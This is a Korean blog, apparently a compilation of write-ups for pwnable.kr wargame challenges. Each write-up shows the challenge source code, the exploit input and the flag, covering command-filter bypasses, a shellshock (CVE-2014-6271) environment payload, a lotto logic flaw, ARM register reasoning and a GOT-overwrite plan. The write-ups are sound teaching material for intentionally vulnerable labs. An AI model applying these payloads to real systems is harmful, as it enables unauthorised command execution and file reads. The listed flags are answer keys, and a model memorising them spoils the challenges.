728x90
반응형
728x90
반응형
728x90
반응형

cmd2 - 9 pt

Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!


ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)



비밀번호는 cmd1문제의 플래그다.



cmd2@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2

-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c

-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}


extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}


int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}



일단 환경변수 메모리 부분을 모두 초기화 한다.

그리고 입력값에서 "=", "PATH", "export", "/",  "`", "flag" 를 필터링한다.

"/" 를 필터링하면서, /bin/cat을 사용하기 어려워졌다..ㅠㅠ


그러면, bash의 기본 함수인 read를 이용해서 플래그를 얻어야 할 것 같다.


cmd2@ubuntu:~$ ./cmd2 "read a; \$a"

read a; $a

/bin/cat flag

FuN_w1th_5h3ll_v4riabl3s_haha


FLAG : FuN_w1th_5h3ll_v4riabl3s_haha



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
728x90
반응형

cmd1 - 1 pt

Mommy! what is PATH environment in Linux?


ssh cmd1@pwnable.kr -p2222 (pw:guest)



cmd1@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1

-rw-r--r-- 1 root root      319 Jul 14  2015 cmd1.c

-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

cmd1@ubuntu:~$ cat cmd1.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "flag")!=0;

r += strstr(cmd, "sh")!=0;

r += strstr(cmd, "tmp")!=0;

return r;

}

int main(int argc, char* argv[], char** envp){

putenv("PATH=/fuckyouverymuch");

if(filter(argv[1])) return 0;

system( argv[1] );

return 0;

}


입력한 명령어를 그대로 실행시켜준다.
그러나 flag, sh, tmp는 필터링을 하는 것을 알 수 있다.

환경변수를 이용해서 풀어야 할 것 같지만, 와일드카드는 막지 않고 있다.
와일드 카드 사용하면 플래그가 나온다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat *"
...
mommy now I get what PATH environment is for :)


FLAG  : mommy now I get what PATH environment is for :)


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
728x90
반응형

lotto - 2 pt 

Mommy! I made a lotto program for my homework.

do you want to play?



ssh lotto@pwnable.kr -p2222 (pw:guest)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
unsigned char submit[6];
 
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);
 
    int r;
    r = read(0, submit, 6);
 
    printf("Lotto Start!\n");
    //sleep(1);
 
    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6!= 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45+ 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
 
    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }
 
}
 
void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
 
int main(int argc, char* argv[]){
 
    // menu
    unsigned int menu;
 
    while(1){
 
        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");
 
        scanf("%d"&menu);
 
        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}
 
cs


우리가 봐야할 함수는 play()함수가 되겠네요.


void play(){

int i;

printf("Submit your 6 lotto bytes : ");

fflush(stdout);


int r;

r = read(0, submit, 6);


printf("Lotto Start!\n");

//sleep(1);


// generate lotto numbers

int fd = open("/dev/urandom", O_RDONLY);

if(fd==-1){

printf("error. tell admin\n");

exit(-1);

}

unsigned char lotto[6];

if(read(fd, lotto, 6) != 6){

printf("error2. tell admin\n");

exit(-1);

}

for(i=0; i<6; i++){

lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45

}

close(fd);

// calculate lotto score

int match = 0, j = 0;

for(i=0; i<6; i++){

for(j=0; j<6; j++){

if(lotto[i] == submit[j]){

match++;

}

}

}


// win!

if(match == 6){

system("/bin/cat flag");

}

else{

printf("bad luck...\n");

}


}



// calculate lotto score부분을 잘 살펴보자
for문 루프가 36번이 돈다..
lotto[0] == submit[0~5] 가 되서
만약 111111을 입력하고 lotto[]중에 1이 있을 경우 match의 값은 6이 되어 쉘을 얻을 수 있다.

lotto의 한 개만 알아내면 된다는 것이다.


그러나 입력할때 int형이 아닌 char형으로 받기 때문에 1을 입력하면 '1'로 인식되어 10진수값으로 49가 된다.
45 이하가 되는 문자는 아스키코드표를 참조하자.
키보드로 입력 가능한 문자는 몇개 되지 않는다.

저는 !를 사용하겠습니다.

- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(
- Select Menu -
1. Play Lotto
2. Help
3. Exit


몇번 시도하다 보니 플래그가 떴습니다.

FLAG : sorry mom... I FORGOT to check duplicate numbers... :(


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
728x90
반응형

blackjack - 1 pt

Hey! check out this C implementation of blackjack game!

I found it online

* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html


I like to give my flags to millionares.

how much money you got?



Running at : nc pwnable.kr 9009


베팅하는 부분의 함수이다.


721
722
723
724
725
726
727
728
729
730
731
732
733
734
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d"&bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d"&bet);
        return bet;
 }
 else return bet;
// End Function
cs


이 부분을 보면,

베팅할 금액을 입력받는데 가지고 있는 돈보다 많은 양을 입력했을 경우

다시 입력하도록 된다. 그러나 반복문이 아니라서 한번 더 많은 양을 입력해도 그 값이 그대로 넘어간다.

 

Cash: $500

-------

|S    |

|  J  |

|    S|

-------


Your Total is 10


The Dealer Has a Total of 7


Enter Bet: $1000000000000000



Would You Like to Hit or Stay?

Please Enter H to Hit or S to Stay.

s


You Have Chosen to Stay at 10. Wise Decision!


The Dealer Has a Total of 10

The Dealer Has a Total of 13

The Dealer Has a Total of 16

The Dealer Has a Total of 19

Dealer Has the Better Hand. You Lose.


You have 0 Wins and 2 Losses. Awesome!


Would You Like To Play Again?

Please Enter Y for Yes or N for No

Y


YaY_I_AM_A_MILLIONARE_LOL



Cash: $1530495476

-------

|C    |

|  8  |

|    C|

-------


Your Total is 8


The Dealer Has a Total of 5


Enter Bet: $



띠용 플래그가 나왔다.


FLAG : YaY_I_AM_A_MILLIONARE_LOL



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
728x90
반응형

coin1 - 6 pt

Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)


Running at : nc pwnable.kr 9007


---------------------------------------------------

-              Shall we play a game?              -

---------------------------------------------------

You have given some gold coins in your hand

however, there is one counterfeit coin among them

counterfeit coin looks exactly same as real coin

however, its weight is different from real one

real coin weighs 10, counterfeit coin weighes 9

help me to find the counterfeit coin with a scale

if you find 100 counterfeit coins, you will get reward :)

FYI, you have 30 seconds.

- How to play - 

1. you get a number of coins (N) and number of chances (C)

2. then you specify a set of index numbers of coins to be weighed

3. you get the weight information

4. 2~3 repeats C time, then you give the answer

- Example -

[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial

[Client] 0 1 # weigh first and second coin

[Server] 20 # scale result : 20

[Client] 3 # weigh fourth coin

[Server] 10 # scale result : 10

[Client] 2 # counterfeit coin is third!

[Server] Correct!


- Ready? starting in 3 sec... -



가짜 동전 찾기 게임이다.


N은 동전의 총 갯수, C는 시도 가능 횟수 이다.


진짜 동전의 무게는 10, 가짜동전의 무게는 9다.


정수 (n) 을 보내면 n+1번째 동전의 무게를 알려준다.

정수 a b c d e 이렇게 보내면 a, b, c, d, e 번째 동전 무게의 총합을 알려준다.


특정 배열의 총합을 알아내서 무게가 10의 배수가 아니면 그 배열에 가짜 동전이 있다는 것이다.


전체 동전을 반으로 나누어서 무게을 구하고 다시 10의 배수가 아닌 배열을 반으로 나누어서 무게를 구한다.

이런 식으로 무게가 10의 배수가 아닌 배열의 범위를 좁혀 나간다.

그러면 찾을 수 있다.


그런데 30초 동안 100개의 가짜 동전을 찾아내야 하기 때문에 코드를 짜서 풀어야 한다.



https://github.com/crater0516/pwnable.kr/blob/master/Todddlers_Bottle/coin1/solve.py

위 코드를 참고했습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import re
 
#무게의 합이 10의 배수인지 아닌지 
def check (start, end, weight) :
    num = (end - start)
    print ("[!] check : num is %d" % num)
    if (10 * num == weight) :
        return 1
    else :
        return 0
 
def main () :
    r = remote("pwnable.kr"9007)
    data = r.recvuntil("sec... -\n")
    print data
    sleep(3)
    r.recv(1024)
    # start game!
    for i in range (0100) :
        print ("[+] recving data..."),
        sleep(0.1)
        #    r.recv(1024)
        data = r.recv(1024)
        print (": Done, data is %s" % data),
        print ("[*] data parsing..."),
        arr = re.findall("\d+", data)
        N = int(arr[0])
        C = int(arr[1])
        print (": Done, N is %d, C is %d" % (N, C))
        # data has been parsed
 
        start = 0
        end = N
        while (start <= end) :
            msg = ""
            mid = (start + end) / 2
            print ("[+] sending msg start...")
            for j in range (start, mid + 1) :
                msg += str(j) + " "
            msg += '\n'
            r.send(msg)
            print ("[*] msg : %s" % msg),
            dt = r.recv(100)
            print ("[*] dt : %s" % dt),
            if (dt.find("Correct"!= -1) :
                break
            #    sleep(3)
            weight = int(dt)
            print ("[+] weight : %d" % weight)
            #    sleep(3)
            ck = check(start, mid+1, weight)
            if (ck == 1) :
                print ("[*] counterfeit coin not found")
                start = mid + 1
            elif (ck == 0) :
                print ("[*] counterfeit coin found")
                end = mid
        print ("[+] Done, counterfeit coin has been found")
    while True :
           data = r.recvline ()
        print data
        if (data.find("bye!"!= -1) :
            break
 
if __name__ == "__main__" :
    main ()
 
cs


저만의 코드를 작성할 수 있기를..


FLAG : b1NaRy_S34rch1nG_1s_3asy_p3asy



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
728x90
반응형

shellshock - 1 pt

Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure :)



ssh shellshock@pwnable.kr -p2222 (pw:guest)



shellshock@ubuntu:~$ cat shellshock.c

#include <stdio.h>

int main(){

setresuid(getegid(), getegid(), getegid());

setresgid(getegid(), getegid(), getegid());

system("/home/shellshock/bash -c 'echo shock_me'");

return 0;

}


bash의 shellshock 취약점 문제 


shellshock@ubuntu:~$ env x='() { :;}; echo hi' ./bash

hi


취약점이 있다.
그러면 shellshock의 권한을 이용해서 flag를 읽으면 될 것 같다.

env x='() { :;}; /bin/cat flag' ./shellshock



shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault

FLAG : only if I knew CVE-2014-6271 ten years ago..!!


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
728x90
반응형

mistake - 1 pt

We all make mistakes, let's move on.

(don't take this too seriously, no fancy hacking skill is required at all)


This task is based on real event

Thanks to dhmonkey


hint : operator priority


ssh mistake@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고, 코드를 살펴봅시다.


mistake@ubuntu:~$ ls -l

total 24

-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag

-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake

-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c

-r-------- 1 mistake_pwn root      10 Jul 29  2014 password

mistake@ubuntu:~$ cat mistake.c

#include <stdio.h>

#include <fcntl.h>


#define PW_LEN 10

#define XORKEY 1


void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}


int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}


printf("do not bruteforce...\n");

sleep(time(0)%20);


char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}


close(fd);

return 0;

}



문제 제목이 mistake이다.

힌트는 operator priority 연산자 우선순위.




if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)


이 코드를 보면 open함수의 반환값인 fd의 값과 0을 비교하는 것 처럼 보이지만 사실 비교 연산자 (<)가 산술연산자 (=) 보다 우선순위가 높기 때문에

open함수의 반환값과 0을 비교한 결과가 fd에 들어가게 된다.


위 코드가 실행될 때 open함수에서 파일이 정상적으로 열려서 양수를 반환하게 된다.

그리고 0과 비교했을 때 Fasle 이므로 fd에는 0이 들어가게 된다.




그 다음,

 

if(!(len=read(fd,pw_buf,PW_LEN) > 0))


이 부분도 마찬가지.

일단 fd에 0이 들어갔다. read함수에서 fd = 0이면 stdin을 의미한다. 사용자로부터 입력값을 받는다.

입력값이 pw_buf에 들어가기 때문에 pw_buf의 값을 우리 마음대로 설정할 수 있다!



그 뒤에 


scanf("%10s", pw_buf2);


를 통해 pw_buf2의 값을 입력받기 때문에


pw_buf, pw_buf2 모두 우리 모두 설정할 수 있다.

그 뒤에 pw_buf2를 1과 xor한 값과 pw_buf가 같으면 플래그를 뿌려주게 된다.



mistake@ubuntu:~$ ./mistake 

do not bruteforce...

1111111111

input password : 0000000000

Password OK

Mommy, the operator priority always confuses me :(



FLAG : Mommy, the operator priority always confuses me :(



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
728x90
반응형

leg - 2 pt

Daddy told me I should study arm.

But I prefer to study my leg!


Download : http://pwnable.kr/bin/leg.c

Download : http://pwnable.kr/bin/leg.asm


ssh leg@pwnable.kr -p2222 (pw:guest)



leg.c를 봅시다.


#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}


key1부터 3까지의 함수들은 ARM 어셈블리어로 작성이 되었네요.

먼저 main함수를 보면 위 3개의 함수값을 모두 더한값을 맞추면 플래그를 얻을 수 있는 것 같습니다!


main함수의 어셈코드도 봅시다!


0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3


함수를 통해 구한 r0값을 모두 더해서 최종적으로 r2에 들어가는 것을 알 수 있네요.


그럼 각 함수를 보겠습니다.




int key1(){
	asm("mov r3, pc\n");
}

(gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.


key1함수의 c와 어쎔코드입니다.

pc라는 값을 r3에 넣고 다시 r3를 r0에 넣었습니다.

그러면 pc라는 값이 key1의 값이 되겠네요.


그럼 pc가 뭔지 공부하고 옵시다!


cpu가 명령어 하나를 수행할 때 fetch > decode > execute 의 과정을 거친다고 합니다.


2개의 opcode를 실행하려면 fetch > decode > execute > fetch > decode > execute 총 6번의 작업이 필요하죠.

하지만 pipe line라는 것을 이용해서


 1

2

 fetch

decode 

execute 

 

 

fetch 

decode 

execute 



이렇게 병렬적으로 단계를 수행하면 2개의 opcode를 실행할때 6번의 작업이 필요했던것을 4번으로 줄일 수 있습니다.

직렬보다 효율적이죠.


pc는 fetch할 주소를 담고 있습니다.

현재 명령어가 execute단계라면, 다음 명령어는 decode단계, 그 다음 명령어는 fetch 단계이겠죠.

그래서 pc는 다다음번째 명령어의 주소를 담고 있게 됩니다.



key1 함수에서 pc의 값은 0x00008ce4 가 되겠네요.




이제 key2를 봅시다.

int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.


r3에 pc값(0x00008d08)을 대입하고, 4를 더해서 r0에 대입하네요.

key2의 값은 0x8d08 + 4 = 0x8d0c !!!




key3를 봅시다.


int key3(){
	asm("mov r3, lr\n");
}

(gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.


lr이라는 값을 r3에 대입하고 r3의 값을 r0에 대입하네요.

그러면 lr이라는 값을 구하면 될 것 같네요.


lr은 함수 호출 전에 다시 되돌아가 실행할 주소를 담고 있다고 합니다.


main함수를 보면,


 0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3

lr의 값은 0x00008d80 이 되겠네요.




3개 모두 구했습니다!!

key1 | 0x8ce4

key2 | 0x8d0c

key3 | 0x8d80


모두 더하면 0x1a770 이네요.


그럼 이제 플래그를 구합시다!

프로그램에서 정수값으로 입력을 받기 때문에 108400을 입력하겠습니다.


/ $ ./leg

Daddy has very strong arm! : 108400 

Congratz!

My daddy has a lot of ARMv5te muscle!


FLAG : My daddy has a lot of ARMv5te muscle!



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
728x90
반응형

random - 1 pt

Daddy, teach me how to use random value in programming!


ssh random@pwnable.kr -p2222 (pw:guest)


접속을 하고, 소스를 확인해 봅시다.


random@ubuntu:~$ ls -l

total 20

-r--r----- 1 random_pwn root     49 Jun 30  2014 flag

-r-sr-x--- 1 random_pwn random 8538 Jun 30  2014 random

-rw-r--r-- 1 root       root    301 Jun 30  2014 random.c

random@ubuntu:~$ cat random.c

#include <stdio.h>


int main(){

unsigned int random;

random = rand(); // random value!


unsigned int key=0;

scanf("%d", &key);


if( (key ^ random) == 0xdeadbeef ){

printf("Good!\n");

system("/bin/cat flag");

return 0;

}


printf("Wrong, maybe you should try 2^32 cases.\n");

return 0;

}



4바이트의 랜덤값과 입력값을 xor연산을 해서 0xdeadbeef가 나오면 플래그를 주는 프로그램이네요.


어? 랜덤값이면 모든 경우의 수를 시도해 봐야 하는 거야? :3 라고 하실 수 있지만, rand()함수는 매번 바뀌는 시드값을 주지 않으면 항상 일정한 값을 반환하게 됩니다. 이 일정하게 나오는 값을 알아내면 답을 구할 수 있습니다.


gdb를 통해 값을 확인해 봅시다.


random@ubuntu:~$ gdb -q random

Reading symbols from random...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas main

(생략)

   0x000000000040062c <+56>: xor    eax,DWORD PTR [rbp-0x4]

   0x000000000040062f <+59>: cmp    eax,0xdeadbeef

(생략)


xor연산을 하고, 0xdeadbeef와 비교연산을 하게 되는 eax의 값을 확인해 보면 될 것 같습니다.


(gdb) b *main+59
Breakpoint 1 at 0x40062f
(gdb) r
Starting program: /home/random/random 
0

Breakpoint 1, 0x000000000040062f in main ()
(gdb) info register $eax
eax            0x6b8b4567 1804289383


브레이크 포인트를 걸고 돌려서 0을 넣은 결과 eax에 0x6b8b4567이 들어가 있는 것을 알 수 있습니다.
xor 0 은 해도 값이 같게 나오기 때문에 rand()의 값은 0x6b8b4567임을 알 수 있습니다.

따라서 우리가 넣어야 할 값은 0xdeadbeef ^ 0x6b8b4567을 통해서 구할 수 있습니다.

0xB526FB88 이라는 값이 나옵니다. 값을 정수형으로 받으므로 정수형으로 변환해줍니다.

3039230856



random@ubuntu:~$ ./random 

3039230856

Good!

Mommy, I thought libc random is unpredictable...



FLAG : Mommy, I thought libc random is unpredictable...

728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
728x90
반응형

passcode - 10 pt 

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


ssh passcode@pwnable.kr -p2222 (pw:guest)


ssh passcode@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



passcode@ubuntu:~$ ls -l

total 16

-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag

-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode

-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

passcode@ubuntu:~$ cat passcode.c

#include <stdio.h>

#include <stdlib.h>


void login(){

int passcode1;

int passcode2;


printf("enter passcode1 : ");

scanf("%d", passcode1);

fflush(stdin);


// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

        scanf("%d", passcode2);


printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

exit(0);

        }

}


void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}


int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");


welcome();

login();


// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}



login()함수를 보시면 입력을 받는 부분이 존재하는데요.


scanf("%d", passcode1);

scanf("%d", passcode2);


이 둘은 입력값을 passcode1에 저장을 하는 것이 아니라, passcode1를 주소로 한 곳에 저장을 하게 됩니다.

예를 들어 passcode1=0x12345678 이라면 0x12345678주소에 우리가 입력한 값을 저장하게 되는 것이죠.


두 변수 모두 초기화되지 않았기 때문에 더미값이 들어가 있을 것이고, 그 더미값을 주소로 하는 곳에 입력값을 저장하게 되니,

오류가 나게 됩니다.



일단 gdb로 분석을 해봅시다.


   0x0804862f <+38>: lea    edx,[ebp-0x70]

   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048636 <+45>: mov    DWORD PTR [esp],eax

   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>


welcome함수를 보면 ebp-0x70에 입력값을 저장합니다.

그리고 login 함수를 보면 


   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]

   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx

   0x08048583 <+31>: mov    DWORD PTR [esp],eax

   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>


ebp-0x10이 passcode1가 위치한 곳을 알 수 있습니다.


welcome()에서 입력을 100바이트를 받는데, [ebp-0x70] - [ebp-0x10] = 0x60 = 96바이트 이므로

passcode1의 값을 조작할 수 있습니다!


그러면 passcode1의 값을 주소로 하는 곳에 원하는 값을 넣을 수 있으므로, 원하는 주소에 원하는 값을 넣을 수 있습니다.


그 다음 fflush()의 got주소를 login()의 system()부분으로 바꾸면 된다.


그럼 fflush()의 got주소와 login()의 system()부분의 주소를 구하자.



